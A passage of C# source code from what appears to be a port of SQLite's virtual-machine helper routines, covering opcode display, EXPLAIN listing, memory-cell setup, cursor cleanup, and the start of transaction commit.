p.aOp == null );\n      Debug.Assert( p.aOp == null || p.aOp[p.nOp - 1].zComment == null /* || p.db.mallocFailed != 0 */);\n      if ( p.nOp != 0 )\n      {\n        string pz; // = p.aOp[p.nOp - 1].zComment;\n        va_start( ap, zFormat );\n        //sqlite3DbFree(db,ref pz);\n        pz = sqlite3VMPrintf( p.db, zFormat, ap );\n        p.aOp[p.nOp - 1].zComment = pz;\n        va_end( ap );\n      }\n    }\n#else\n#endif  //* NDEBUG */\n\n\n    /*\n** Return the opcode for a given address.  If the address is -1, then\n** return the most recently inserted opcode.\n**\n** If a memory allocation error has occurred prior to the calling of this\n** routine, then a pointer to a dummy VdbeOp will be returned.  That opcode\n** is readable and writable, but it has no effect.  The return of a dummy\n** opcode allows the call to continue functioning after a OOM fault without\n** having to check to see if the return from this routine is a valid pointer.\n**\n** About the #if SQLITE_OMIT_TRACE:  Normally, this routine is never called\n** unless p->nOp>0.  This is because in the absense of SQLITE_OMIT_TRACE,\n** an OP_Trace instruction is always inserted by sqlite3VdbeGet() as soon as\n** a new VDBE is created.  So we are free to set addr to p->nOp-1 without\n** having to double-check to make sure that the result is non-negative. But\n** if SQLITE_OMIT_TRACE is defined, the OP_Trace is omitted and we do need to\n** check the value of p->nOp-1 before continuing.\n*/\n    static VdbeOp sqlite3VdbeGetOp( Vdbe p, int addr )\n    {\n      Debug.Assert( p.magic == VDBE_MAGIC_INIT );\n      if ( addr < 0 )\n      {\n#if SQLITE_OMIT_TRACE\n      VdbeOp dummy = null;\nif( p.nOp==0 ) return dummy;\n#endif\n        addr = p.nOp - 1;\n      }\n      Debug.Assert( ( addr >= 0 && addr < p.nOp ) /* || p.db.mallocFailed != 0 */);\n      //if ( p.db.mallocFailed != 0 )\n      //{\n      //  return dummy;\n      //}\n      //else\n      {\n        return p.aOp[addr];\n      }\n    }\n\n#if !SQLITE_OMIT_EXPLAIN || !NDEBUG || VDBE_PROFILE || SQLITE_DEBUG\n    /*\n** Compute a string that describes the P4 parameter for an opcode.\n** Use zTemp for any required temporary buffer space.\n*/\n    static string displayP4( Op pOp, string zBuffer, int nTemp )\n    {\n      StringBuilder zTemp = new StringBuilder( 100 );\n      Debug.Assert( nTemp >= 20 );\n      switch ( pOp.p4type )\n      {\n        case P4_KEYINFO_STATIC:\n        case P4_KEYINFO:\n          {\n            int i, j;\n            KeyInfo pKeyInfo = pOp.p4.pKeyInfo;\n            sqlite3_snprintf( nTemp, ref zTemp, \"keyinfo(%d\", pKeyInfo.nField );\n            i = sqlite3Strlen30( zTemp );\n            for ( j = 0 ; j < pKeyInfo.nField ; j++ )\n            {\n              CollSeq pColl = pKeyInfo.aColl[j];\n              if ( pColl != null )\n              {\n                int n = sqlite3Strlen30( pColl.zName );\n                if ( i + n > nTemp )\n                {\n                  zTemp.Append( \",...\" ); // memcpy( &zTemp[i], \",...\", 4 );\n                  break;\n                }\n                zTemp.Append( \",\" );// zTemp[i++] = ',';\n                if ( pKeyInfo.aSortOrder != null && pKeyInfo.aSortOrder[j] != 0 )\n                {\n                  zTemp.Append( \"-\" );// zTemp[i++] = '-';\n                }\n                zTemp.Append( pColl.zName );// memcpy( &zTemp[i], pColl.zName, n + 1 );\n                i += n;\n              }\n              else if ( i + 4 < nTemp )\n              {\n                zTemp.Append( \",nil\" );// memcpy( &zTemp[i], \",nil\", 4 );\n                i += 4;\n              }\n            }\n            zTemp.Append( \")\" );// zTemp[i++] = ')';\n            //zTemp[i] = 0;\n            Debug.Assert( i < nTemp );\n            break;\n          }\n        case P4_COLLSEQ:\n          {\n            CollSeq pColl = pOp.p4.pColl;\n            sqlite3_snprintf( nTemp, ref zTemp, \"collseq(%.20s)\", ( pColl != null ? pColl.zName : \"null\" ) );\n            break;\n          }\n        case P4_FUNCDEF:\n          {\n            FuncDef pDef = pOp.p4.pFunc;\n            sqlite3_snprintf( nTemp, ref zTemp, \"%s(%d)\", pDef.zName, pDef.nArg );\n            break;\n          }\n        case P4_INT64:\n          {\n            sqlite3_snprintf( nTemp, ref zTemp, \"%lld\", pOp.p4.pI64 );\n            break;\n          }\n        case P4_INT32:\n          {\n            sqlite3_snprintf( nTemp, ref zTemp, \"%d\", pOp.p4.i );\n            break;\n          }\n        case P4_REAL:\n          {\n            sqlite3_snprintf( nTemp, ref zTemp, \"%.16g\", pOp.p4.pReal );\n            break;\n          }\n        case P4_MEM:\n          {\n            Mem pMem = pOp.p4.pMem;\n            Debug.Assert( ( pMem.flags & MEM_Null ) == 0 );\n            if ( ( pMem.flags & MEM_Str ) != 0 )\n            {\n              zTemp.Append( pMem.z );\n            }\n            else if ( ( pMem.flags & MEM_Int ) != 0 )\n            {\n              sqlite3_snprintf( nTemp, ref zTemp, \"%lld\", pMem.u.i );\n            }\n            else if ( ( pMem.flags & MEM_Real ) != 0 )\n            {\n              sqlite3_snprintf( nTemp, ref zTemp, \"%.16g\", pMem.r );\n            }\n            break;\n          }\n#if ! SQLITE_OMIT_VIRTUALTABLE\ncase P4_VTAB: {\nsqlite3_vtab pVtab = pOp.p4.pVtab.pVtab;\nsqlite3_snprintf(nTemp, ref zTemp, \"vtab:%p:%p\", pVtab, pVtab.pModule);\nbreak;\n}\n#endif\n        case P4_INTARRAY:\n          {\n            sqlite3_snprintf( nTemp, ref zTemp, \"intarray\" );\n            break;\n          }\n        default:\n          {\n            if ( pOp.p4.z != null ) zTemp.Append( pOp.p4.z );\n            //if ( zTemp == null )\n            //{\n            //  zTemp = \"\";\n            //}\n            break;\n          }\n      }\n      Debug.Assert( zTemp != null );\n      return zTemp.ToString();\n    }\n#endif\n\n    /*\n** Declare to the Vdbe that the BTree object at db.aDb[i] is used.\n**\n*/\n    static void sqlite3VdbeUsesBtree( Vdbe p, int i )\n    {\n      int mask;\n      Debug.Assert( i >= 0 && i < p.db.nDb && i < sizeof( u32 ) * 8 );\n      Debug.Assert( i < sizeof( int ) * 8 );\n      mask = (int)( (u32)1 ) << i;\n      if ( ( p.btreeMask & mask ) == 0 )\n      {\n        p.btreeMask |= mask;\n        sqlite3BtreeMutexArrayInsert( p.aMutex, p.db.aDb[i].pBt );\n      }\n    }\n\n\n#if VDBE_PROFILE || SQLITE_DEBUG\n    /*\n** Print a single opcode.  This routine is used for debugging only.\n*/\n    static void sqlite3VdbePrintOp( FILE pOut, int pc, Op pOp )\n    {\n      string zP4;\n      string zPtr = null;\n      string zFormat1 = \"%4d %-13s %4d %4d %4d %-4s %.2X %s\\n\";\n      if ( pOut == null ) pOut = System.Console.Out;\n      zP4 = displayP4( pOp, zPtr, 50 );\n      string zOut = \"\";\n      sqlite3_snprintf( 999, ref zOut, zFormat1, pc,\n      sqlite3OpcodeName( pOp.opcode ), pOp.p1, pOp.p2, pOp.p3, zP4, pOp.p5,\n#if  SQLITE_DEBUG\n pOp.zComment != null ? pOp.zComment : \"\"\n#else\n\"\"\n#endif\n );\n      pOut.Write( zOut );\n      //fflush(pOut);\n    }\n#endif\n\n    /*\n** Release an array of N Mem elements\n*/\n    static void releaseMemArray( Mem[] p, int N )\n    {\n      if ( p != null && p[0] != null && N != 0 )\n      {\n        Mem pEnd;\n        sqlite3 db = p[0].db;\n        //u8 malloc_failed =  db.mallocFailed;\n        for ( int i = 0 ; i < N ; i++ )//pEnd =  p[N] ; p < pEnd ; p++ )\n        {\n          pEnd = p[i];\n          Debug.Assert( //( p[1] ) == pEnd ||\n          N == 1 || p[0].db == p[1].db );\n\n          /* This block is really an inlined version of sqlite3VdbeMemRelease()\n          ** that takes advantage of the fact that the memory cell value is\n          ** being set to NULL after releasing any dynamic resources.\n          **\n          ** The justification for duplicating code is that according to\n          ** callgrind, this causes a certain test case to hit the CPU 4.7\n          ** percent less (x86 linux, gcc version 4.1.2, -O6) than if\n          ** sqlite3MemRelease() were called from here. With -O2, this jumps\n          ** to 6.6 percent. The test case is inserting 1000 rows into a table\n          ** with no indexes using a single prepared INSERT statement, bind()\n          ** and reset(). Inserts are grouped into a transaction.\n          */\n          if ( ( pEnd.flags & ( MEM_Agg | MEM_Dyn ) ) != 0 )\n          {\n            sqlite3VdbeMemRelease( pEnd );\n          }\n          //else if ( pEnd.zMalloc != null )\n          //{\n          //  //sqlite3DbFree( db, ref pEnd.zMalloc );\n          //  pEnd.zMalloc = 0;\n          //}\n          pEnd._Mem = null;\n          pEnd.z = null;\n          pEnd.n = 0;\n          pEnd.zBLOB = null;\n          pEnd.flags = MEM_Null;\n        }\n//        db.mallocFailed = malloc_failed;\n      }\n    }\n\n#if SQLITE_ENABLE_MEMORY_MANAGEMENT\nint sqlite3VdbeReleaseBuffers(Vdbe *p){\nint ii;\nint nFree = 0;\nassert( sqlite3_mutex_held(p.db.mutex) );\nfor(ii=1; ii<=p.nMem; ii++){\nMem *pMem = &p.aMem[ii];\nif( pMem.flags & MEM_RowSet ){\nsqlite3RowSetClear(pMem.u.pRowSet);\n}\nif( pMem.z && pMem.flags&MEM_Dyn ){\nassert( !pMem.xDel );\nnFree += sqlite3DbMallocSize(pMem.db, pMem.z);\nsqlite3VdbeMemRelease(pMem);\n}\n}\nreturn nFree;\n}\n#endif\n\n#if ! SQLITE_OMIT_EXPLAIN\n    /*\n** Give a listing of the program in the virtual machine.\n**\n** The interface is the same as sqlite3VdbeExec().  But instead of\n** running the code, it invokes the callback once for each instruction.\n** This feature is used to implement \"EXPLAIN\".\n**\n** When p.explain==1, each instruction is listed.  When\n** p.explain==2, only OP_Explain instructions are listed and these\n** are shown in a different format.  p.explain==2 is used to implement\n** EXPLAIN QUERY PLAN.\n*/\n    static int sqlite3VdbeList(\n    Vdbe p                   /* The VDBE */\n    )\n    {\n      sqlite3 db = p.db;\n      int i;\n      int rc = SQLITE_OK;\n      p.pResultSet = new Mem[p.nMem];//Mem* pMem = p.pResultSet = p.aMem[1];\n      Mem pMem;\n      Debug.Assert( p.explain != 0 );\n      Debug.Assert( p.magic == VDBE_MAGIC_RUN );\n#if SQL_DEBUG\nDebug.Assert(db.magic == SQLITE_MAGIC_BUSY);\n#endif\n      Debug.Assert( p.rc == SQLITE_OK || p.rc == SQLITE_BUSY || p.rc == SQLITE_NOMEM );\n      /* Even though this opcode does not use dynamic strings for\n      ** the result, result columns may become dynamic if the user calls\n      ** sqlite3_column_text16(), causing a translation to UTF-16 encoding.\n      */\n      releaseMemArray( p.pResultSet, p.nMem );\n\n      if ( p.rc == SQLITE_NOMEM )\n      {\n        /* This happens if a malloc() inside a call to sqlite3_column_text() or\n        ** sqlite3_column_text16() failed.  */\n////        db.mallocFailed = 1;\n        return SQLITE_ERROR;\n      }\n\n      int i_pMem = 0; if ( p.pResultSet[i_pMem] == null ) p.pResultSet[i_pMem] = new Mem();\n      pMem = p.pResultSet[i_pMem++];\n      do\n      {\n        i = p.pc++;\n      } while ( i < p.nOp && p.explain == 2 && p.aOp[i].opcode != OP_Explain );\n      if ( i >= p.nOp )\n      {\n        p.rc = SQLITE_OK;\n        rc = SQLITE_DONE;\n      }\n      else if ( db.u1.isInterrupted )\n      {\n        p.rc = SQLITE_INTERRUPT;\n        rc = SQLITE_ERROR;\n        sqlite3SetString( ref p.zErrMsg, db, sqlite3ErrStr( p.rc ) );\n      }\n      else\n      {\n        string z;\n        Op pOp = p.aOp[i];\n        if ( p.explain == 1 )\n        {\n          pMem.flags = MEM_Int;\n          pMem.type = SQLITE_INTEGER;\n          pMem.u.i = i;                                /* Program counter */\n          if ( p.pResultSet[i_pMem] == null ) p.pResultSet[i_pMem] = new Mem();\n          pMem = p.pResultSet[i_pMem++]; //pMem++;\n\n          pMem.flags = MEM_Static | MEM_Str | MEM_Term;\n          pMem.z = sqlite3OpcodeName( pOp.opcode );  /* Opcode */\n          Debug.Assert( pMem.z != null );\n          pMem.n = sqlite3Strlen30( pMem.z );\n          pMem.type = SQLITE_TEXT;\n          pMem.enc = SQLITE_UTF8;\n          if ( p.pResultSet[i_pMem] == null ) p.pResultSet[i_pMem] = new Mem();\n          pMem = p.pResultSet[i_pMem++]; //pMem++;\n        }\n\n        pMem.flags = MEM_Int;\n        pMem.u.i = pOp.p1;                          /* P1 */\n        pMem.type = SQLITE_INTEGER;\n        if ( p.pResultSet[i_pMem] == null ) p.pResultSet[i_pMem] = new Mem();\n        pMem = p.pResultSet[i_pMem++]; //pMem++;\n\n        pMem.flags = MEM_Int;\n        pMem.u.i = pOp.p2;                          /* P2 */\n        pMem.type = SQLITE_INTEGER;\n        if ( p.pResultSet[i_pMem] == null ) p.pResultSet[i_pMem] = new Mem();\n        pMem = p.pResultSet[i_pMem++]; //pMem++;\n\n        if ( p.explain == 1 )\n        {\n          pMem.flags = MEM_Int;\n          pMem.u.i = pOp.p3;                          /* P3 */\n          pMem.type = SQLITE_INTEGER;\n          if ( p.pResultSet[i_pMem] == null ) p.pResultSet[i_pMem] = new Mem();\n          pMem = p.pResultSet[i_pMem++]; //pMem++;\n        }\n\n        if ( sqlite3VdbeMemGrow( pMem, 32, 0 ) != 0 )\n        {                                                     /* P4 */\n          //Debug.Assert( p.db.mallocFailed != 0 );\n          return SQLITE_ERROR;\n        }\n        pMem.flags = MEM_Dyn | MEM_Str | MEM_Term;\n        z = displayP4( pOp, pMem.z, 32 );\n        if ( z != pMem.z )\n        {\n          sqlite3VdbeMemSetStr( pMem, z, -1, SQLITE_UTF8, null );\n        }\n        else\n        {\n          Debug.Assert( pMem.z != null );\n          pMem.n = sqlite3Strlen30( pMem.z );\n          pMem.enc = SQLITE_UTF8;\n        }\n        pMem.type = SQLITE_TEXT;\n        if ( p.pResultSet[i_pMem] == null ) p.pResultSet[i_pMem] = new Mem();\n        pMem = p.pResultSet[i_pMem++]; //pMem++;\n\n        if ( p.explain == 1 )\n        {\n          if ( sqlite3VdbeMemGrow( pMem, 4, 0 ) != 0 )\n          {\n            //Debug.Assert( p.db.mallocFailed != 0 );\n            return SQLITE_ERROR;\n          }\n          pMem.flags = MEM_Dyn | MEM_Str | MEM_Term;\n          pMem.n = 2;\n          pMem.z = pOp.p5.ToString( \"x2\" );  //sqlite3_snprintf( 3, pMem.z, \"%.2x\", pOp.p5 );   /* P5 */\n          pMem.type = SQLITE_TEXT;\n          pMem.enc = SQLITE_UTF8;\n          if ( p.pResultSet[i_pMem] == null ) p.pResultSet[i_pMem] = new Mem();\n          pMem = p.pResultSet[i_pMem++]; // pMem++;\n\n#if SQLITE_DEBUG\n          if ( pOp.zComment != null )\n          {\n            pMem.flags = MEM_Str | MEM_Term;\n            pMem.z = pOp.zComment;\n            pMem.n = pMem.z == null ? 0 : sqlite3Strlen30( pMem.z );\n            pMem.enc = SQLITE_UTF8;\n            pMem.type = SQLITE_TEXT;\n          }\n          else\n#endif\n          {\n            pMem.flags = MEM_Null;                       /* Comment */\n            pMem.type = SQLITE_NULL;\n          }\n        }\n\n        p.nResColumn = (u16)( 8 - 5 * ( p.explain - 1 ) );\n        p.rc = SQLITE_OK;\n        rc = SQLITE_ROW;\n      }\n      return rc;\n    }\n#endif // * SQLITE_OMIT_EXPLAIN */\n\n#if  SQLITE_DEBUG\n    /*\n** Print the SQL that was used to generate a VDBE program.\n*/\n    static void sqlite3VdbePrintSql( Vdbe p )\n    {\n      int nOp = p.nOp;\n      VdbeOp pOp;\n      if ( nOp < 1 ) return;\n      pOp = p.aOp[0];\n      if ( pOp.opcode == OP_Trace && pOp.p4.z != null )\n      {\n        string z = pOp.p4.z;\n        z = z.Trim();// while ( sqlite3Isspace( *(u8*)z ) ) z++;\n        Console.Write( \"SQL: [%s]\\n\", z );\n      }\n    }\n#endif\n\n#if !SQLITE_OMIT_TRACE && SQLITE_ENABLE_IOTRACE\n/*\n** Print an IOTRACE message showing SQL content.\n*/\nstatic void sqlite3VdbeIOTraceSql( Vdbe p )\n{\nint nOp = p.nOp;\nVdbeOp pOp;\nif ( SQLite3IoTrace == false ) return;\nif ( nOp < 1 ) return;\npOp = p.aOp[0];\nif ( pOp.opcode == OP_Trace && pOp.p4.z != null )\n{\nint i, j;\nstring z = \"\";//char z[1000];\nsqlite3_snprintf( 1000, ref  z, \"%s\", pOp.p4.z );\n//for(i=0; sqlite3Isspace(z[i]); i++){}\n//for(j=0; z[i]; i++){\n//if( sqlite3Isspace(z[i]) ){\n//if( z[i-1]!=' ' ){\n//z[j++] = ' ';\n//}\n//}else{\n//z[j++] = z[i];\n//}\n//}\n//z[j] = 0;\n//z = z.Trim( z );\nsqlite3IoTrace( \"SQL %s\\n\", z.Trim() );\n}\n}\n#endif // * !SQLITE_OMIT_TRACE  && SQLITE_ENABLE_IOTRACE */\n\n    /*\n** Allocate space from a fixed size buffer.  Make *pp point to the\n** allocated space.  (Note:  pp is a char* rather than a void** to\n** work around the pointer aliasing rules of C.)  *pp should initially\n** be zero.  If *pp is not zero, that means that the space has already\n** been allocated and this routine is a noop.\n**\n** nByte is the number of bytes of space needed.\n**\n** *ppFrom point to available space and pEnd points to the end of the\n** available space.\n**\n** *pnByte is a counter of the number of bytes of space that have failed\n** to allocate.  If there is insufficient space in *ppFrom to satisfy the\n** request, then increment *pnByte by the amount of the request.\n*/\n    //static void allocSpace(\n    //ref u8[] pp,            /* IN/OUT: Set *pp to point to allocated buffer */\n    //int nByte,              /* Number of bytes to allocate */\n    //ref u8[] ppFrom,        /* IN/OUT: Allocate from *ppFrom */\n    //u8 pEnd,                /* Pointer to 1 byte past the end of *ppFrom buffer */\n    //ref int pnByte          /* If allocation cannot be made, increment *pnByte */\n    //)\n    //{\n      //assert( EIGHT_BYTE_ALIGNMENT(*ppFrom) );\n      //if ( ( *(void**)pp ) == 0 )\n      //{\n      //  nByte = ROUND8( nByte );\n      //  if( &(*ppFrom)[nByte] <= pEnd ){\n      //    *(void**)pp = (void*)*ppFrom;\n      //    *ppFrom += nByte;\n      //  }\n      //  else\n      //  {\n      //    *pnByte += nByte;\n      //  }\n      //}\n    //}\n\n    /*\n    ** Prepare a virtual machine for execution.  This involves things such\n    ** as allocating stack space and initializing the program counter.\n    ** After the VDBE has be prepped, it can be executed by one or more\n    ** calls to sqlite3VdbeExec().\n    **\n    ** This is the only way to move a VDBE from VDBE_MAGIC_INIT to\n    ** VDBE_MAGIC_RUN.\n    **\n    ** This function may be called more than once on a single virtual machine.\n    ** The first call is made while compiling the SQL statement. Subsequent\n    ** calls are made as part of the process of resetting a statement to be\n    ** re-executed (from a call to sqlite3_reset()). The nVar, nMem, nCursor\n    ** and isExplain parameters are only passed correct values the first time\n    ** the function is called. On subsequent calls, from sqlite3_reset(), nVar\n    ** is passed -1 and nMem, nCursor and isExplain are all passed zero.\n    */\n    static void sqlite3VdbeMakeReady(\n    Vdbe p,                        /* The VDBE */\n    int nVar,                      /* Number of '?' see in the SQL statement */\n    int nMem,                      /* Number of memory cells to allocate */\n    int nCursor,                   /* Number of cursors to allocate */\n    int isExplain                 /* True if the EXPLAIN keywords is present */\n    )\n    {\n      int n;\n      sqlite3 db = p.db;\n\n      Debug.Assert( p != null );\n      Debug.Assert( p.magic == VDBE_MAGIC_INIT );\n\n      /* There should be at least one opcode.\n      */\n      Debug.Assert( p.nOp > 0 );\n\n      /* Set the magic to VDBE_MAGIC_RUN sooner rather than later. */\n      p.magic = VDBE_MAGIC_RUN;\n\n      /* For each cursor required, also allocate a memory cell. Memory\n      ** cells (nMem+1-nCursor)..nMem, inclusive, will never be used by\n      ** the vdbe program. Instead they are used to allocate space for\n      ** VdbeCursor/BtCursor structures. The blob of memory associated with\n      ** cursor 0 is stored in memory cell nMem. Memory cell (nMem-1)\n      ** stores the blob of memory associated with cursor 1, etc.\n      **\n      ** See also: allocateCursor().\n      */\n      nMem += nCursor;\n\n      /* Allocate space for memory registers, SQL variables, VDBE cursors and\n      ** an array to marshal SQL function arguments in. This is only done the\n      ** first time this function is called for a given VDBE, not when it is\n      ** being called from sqlite3_reset() to reset the virtual machine.\n      */\n      if ( nVar >= 0 /* &&  ALWAYS(db->mallocFailed==0) */ )\n      {\n        //u8 zCsr = (u8)p.aOp[p.nOp];\n        //u8 zEnd = (u8)p.aOp[p.nOpAlloc];\n        int nByte;\n        int nArg = 0;       /* Maximum number of args passed to a user function. */\n        resolveP2Values( p, ref nArg );\n        if ( isExplain != 0 && nMem < 10 )\n        {\n          nMem = 10;\n        }\n        //memset(zCsr, 0, zEnd-zCsr);\n        //zCsr += ( zCsr - (u8*)0 ) & 7;\n        //assert( EIGHT_BYTE_ALIGNMENT( zCsr ) );\n        //\n        // C# -- Replace allocation with individual Dims\n        //\n        //do\n        //{\n        //  nByte = 0;\n        //  allocSpace( (char*)&p.aMem, nMem * sizeof( Mem ), &zCsr, zEnd, &nByte );\n        //  allocSpace( (char*)&p.aVar, nVar * sizeof( Mem ), &zCsr, zEnd, &nByte );\n        //  allocSpace( (char*)&p.apArg, nArg * sizeof( Mem* ), &zCsr, zEnd, &nByte );\n        //  allocSpace( (char*)&p.azVar, nVar * sizeof( char* ), &zCsr, zEnd, &nByte );\n        //  allocSpace( (char*)&p.apCsr,\n        //             nCursor * sizeof( VdbeCursor* ), &zCsr, zEnd, &nByte\n        //  );\n        //  if ( nByte )\n        //  {\n        //    p.pFree = sqlite3DbMallocZero( db, nByte );\n        //  }\n        //  zCsr = p.pFree;\n        //  zEnd = &zCsr[nByte];\n        //} while ( nByte && !db.mallocFailed );\n\n\n        // C# -- Replace allocation with individual Dims\n        p.aMem = new Mem[nMem + 1];\n        for ( n = 0 ; n <= nMem ; n++ )\n        { p.aMem[n] = new Mem(); }//p.aMem--;\n        /* aMem[] goes from 1..nMem */\n        p.nMem = nMem;      /*       not from 0..nMem-1 */\n        //\n        p.aVar = new Mem[nVar == 0 ? 1 : nVar]; //p.aVar = p.aMem[nMem + 1];\n        for ( n = 0 ; n < nVar ; n++ )\n        { p.aVar[n] = new Mem(); }\n        p.nVar = (u16)nVar;\n        p.okVar = 0;\n        //\n        p.apArg = new Mem[nArg == 0 ? 1 : nArg];//p.apArg = (Mem**)p.aVar[nVar];\n        //\n\n        p.azVar = new string[nArg == 0 ? 1 : nArg]; //p.azVar = (char**)p.apArg[nArg];\n        for ( n = 0 ; n < nArg ; n++ )\n        { p.azVar[n] = \"\"; }\n        //\n        p.apCsr = new VdbeCursor[nCursor == 0 ? 1 : nCursor];//p.apCsr = (VdbeCursor**)p.azVar[nVar];\n        p.apCsr[0] = new VdbeCursor();\n        p.nCursor = (u16)nCursor;\n        if ( p.aVar != null )\n        {\n          p.nVar = (u16)nVar;\n          //\n          for ( n = 0 ; n < nVar ; n++ )\n          {\n            p.aVar[n].flags = MEM_Null;\n            p.aVar[n].db = db;\n          }\n        }\n        if ( p.aMem != null )\n        {\n          //p.aMem--;                      /* aMem[] goes from 1..nMem */\n          p.nMem = nMem;                 /*       not from 0..nMem-1 */\n          for ( n = 0 ; n <= nMem ; n++ )\n          {\n            p.aMem[n].flags = MEM_Null;\n            p.aMem[n].n = 0;\n            p.aMem[n].z = null;\n            p.aMem[n].zBLOB = null;\n            p.aMem[n].db = db;\n          }\n        }\n      }\n\n#if  SQLITE_DEBUG\n      for ( n = 1 ; n < p.nMem ; n++ )\n      {\n        Debug.Assert( p.aMem[n].db == db );\n      }\n#endif\n\n      p.pc = -1;\n      p.rc = SQLITE_OK;\n      p.errorAction = OE_Abort;\n      p.explain |= isExplain;\n      p.magic = VDBE_MAGIC_RUN;\n      p.nChange = 0;\n      p.cacheCtr = 1;\n      p.minWriteFileFormat = 255;\n      p.iStatement = 0;\n#if  VDBE_PROFILE\n{\nint i;\nfor ( i = 0 ; i < p.nOp ; i++ )\n{\np.aOp[i].cnt = 0;\np.aOp[i].cycles = 0;\n}\n}\n#endif\n    }\n\n    /*\n    ** Close a VDBE cursor and release all the resources that cursor\n    ** happens to hold.\n    */\n    static void sqlite3VdbeFreeCursor( Vdbe p, VdbeCursor pCx )\n    {\n      if ( pCx == null )\n      {\n        return;\n      }\n\n      if ( pCx.pBt != null )\n      {\n        sqlite3BtreeClose( ref  pCx.pBt );\n        /* The pCx.pCursor will be close automatically, if it exists, by\n        ** the call above. */\n      }\n      else if ( pCx.pCursor != null )\n      {\n        sqlite3BtreeCloseCursor( pCx.pCursor );\n      }\n#if ! SQLITE_OMIT_VIRTUALTABLE\nif( pCx.pVtabCursor ){\nsqlite3_vtab_cursor pVtabCursor = pCx.pVtabCursor;\nconst sqlite3_module pModule = pCx.pModule;\np.inVtabMethod = 1;\nsqlite3SafetyOff(p.db);\npModule.xClose(pVtabCursor);\nsqlite3SafetyOn(p.db);\np.inVtabMethod = 0;\n}\n#endif\n      if ( !pCx.ephemPseudoTable )\n      {\n        //sqlite3DbFree( p.db, ref pCx.pData );\n      }\n    }\n\n    /*\n    ** Close all cursors.\n    */\n    static void closeAllCursors( Vdbe p )\n    {\n      int i;\n      if ( p.apCsr == null ) return;\n      for ( i = 0 ; i < p.nCursor ; i++ )\n      {\n        VdbeCursor pC = p.apCsr[i];\n        if ( pC != null )\n        {\n          sqlite3VdbeFreeCursor( p, pC );\n          p.apCsr[i] = null;\n        }\n      }\n    }\n\n    /*\n    ** Clean up the VM after execution.\n    **\n    ** This routine will automatically close any cursors, lists, and/or\n    ** sorters that were left open.  It also deletes the values of\n    ** variables in the aVar[] array.\n    */\n    static void Cleanup( Vdbe p )\n    {\n      int i;\n      sqlite3 db = p.db;\n      Mem pMem;\n      closeAllCursors( p );\n      for ( i = 1 ; i <= p.nMem ; i++ )\n      {\n        pMem = p.aMem[1];\n        if ( ( pMem.flags & MEM_RowSet ) != 0 )\n        {\n          sqlite3RowSetClear( pMem.u.pRowSet );\n        }\n        MemSetTypeFlag( pMem, MEM_Null );\n      }\n      releaseMemArray( p.aMem, p.nMem );\n      if ( p.contextStack != null )\n      {\n        //sqlite3DbFree( db, ref p.contextStack );\n      }\n      p.contextStack = null;\n      p.contextStackDepth = 0;\n      p.contextStackTop = 0;\n      //sqlite3DbFree( db, ref p.zErrMsg );\n      p.pResultSet = null;\n    }\n\n    /*\n    ** Set the number of result columns that will be returned by this SQL\n    ** statement. This is now set at compile time, rather than during\n    ** execution of the vdbe program so that sqlite3_column_count() can\n    ** be called on an SQL statement before sqlite3_step().\n    */\n    static void sqlite3VdbeSetNumCols( Vdbe p, int nResColumn )\n    {\n      Mem pColName;\n      int n;\n      sqlite3 db = p.db;\n\n      releaseMemArray( p.aColName, p.nResColumn * COLNAME_N );\n      //sqlite3DbFree( db, ref p.aColName );\n      n = nResColumn * COLNAME_N;\n      p.nResColumn = (u16)nResColumn;\n      p.aColName = new Mem[n];// (Mem*)sqlite3DbMallocZero(db, Mem.Length * n);\n      //if (p.aColName == 0) return;\n      while ( n-- > 0 )\n      {\n        p.aColName[n] = new Mem();\n        pColName = p.aColName[n];\n        pColName.flags = MEM_Null;\n        pColName.db = p.db;\n      }\n    }\n\n    /*\n    ** Set the name of the idx'th column to be returned by the SQL statement.\n    ** zName must be a pointer to a nul terminated string.\n    **\n    ** This call must be made after a call to sqlite3VdbeSetNumCols().\n    **\n    ** The final parameter, xDel, must be one of SQLITE_DYNAMIC, SQLITE_STATIC\n    ** or SQLITE_TRANSIENT. If it is SQLITE_DYNAMIC, then the buffer pointed\n    ** to by zName will be freed by //sqlite3DbFree() when the vdbe is destroyed.\n    */\n\n\n    static int sqlite3VdbeSetColName(\n    Vdbe p,                 /* Vdbe being configured */\n    int idx,                /* Index of column zName applies to */\n    int var,                /* One of the COLNAME_* constants */\n    string zName,           /* Pointer to buffer containing name */\n    dxDel xDel              /* Memory management strategy for zName */\n    )\n    {\n      int rc;\n      Mem pColName;\n      Debug.Assert( idx < p.nResColumn );\n      Debug.Assert( var < COLNAME_N );\n      //if ( p.db.mallocFailed != 0 )\n      //{\n      //  Debug.Assert( null == zName || xDel != SQLITE_DYNAMIC );\n      //  return SQLITE_NOMEM;\n      //}\n      Debug.Assert( p.aColName != null );\n      pColName = p.aColName[idx + var * p.nResColumn];\n      rc = sqlite3VdbeMemSetStr( pColName, zName, -1, SQLITE_UTF8, xDel );\n      Debug.Assert( rc != 0 || null == zName || ( pColName.flags & MEM_Term ) != 0 );\n      return rc;\n    }\n\n    /*\n    ** A read or write transaction may or may not be active on database handle\n    ** db. If a transaction is active, commit it. If there is a\n    ** write-transaction spanning more than one database file, this routine\n    ** takes care of the master journal trickery.\n    */\n    static int vdbeCommit( sqlite3 db, Vdbe p )\n    {\n      int i;\n      int nTrans = 0;  /* Number of databases with an active write-transaction */\n      int rc = SQLITE_OK;\n      bool needXcommit = false;\n\n#if SQLITE_OMIT_VIRTUALTABLE\n      /* With this option, sqlite3VtabSync() is defined to be simply\n** SQLITE_OK so p is not used.\n*/\n      UNUSED_PARAMETER( p );\n#endif\n      /* Before doing anything else, call the xSync() callback for any\n** virtual module tables written in this transaction. This has to\n** be done before determining whether a master journal file is\n** required, as an xSync() callback may add an attached database\n** to the transaction.\n*/\n      rc = sqlite3VtabSync( db, p.zErrMsg );\n      if ( rc != SQLITE_OK )\n      {\n        return rc;\n      }\n\n      /* This loop determines (a) if the commit hook should be invoked and\n      ** (b) how many database files have open write transactions, not\n      ** including the temp database. (b) is important because if more than\n      ** one database file has an open write transaction, a master journal\n      ** file is required for an atomic commit.\n      */\n      for ( i = 0 ; i < db.nDb ; i++ )\n      {\n        Btree pBt = db.aDb[i].pBt;\n        if ( sqlite3BtreeIsInTrans( pBt ) )\n        {\n          needXcommit = true;\n          if ( i != 1 ) nTrans++;\n        }\n      }\n\n      /* If there are any write-transactions at all, invoke the commit hook */\n      if ( needXcommit && db.xCommitCallback != null )\n      {\n        sqlite3SafetyOff( db );\n        rc = db.xCommitCallback( db.pCommitArg );\n        sqlite3SafetyOn( db );\n        if ( rc != 0 )\n        {\n          return SQLITE_CONSTRAINT;\n        }\n      }\n\n      /* The simple case - no more than one database file (not counting the\n      ** 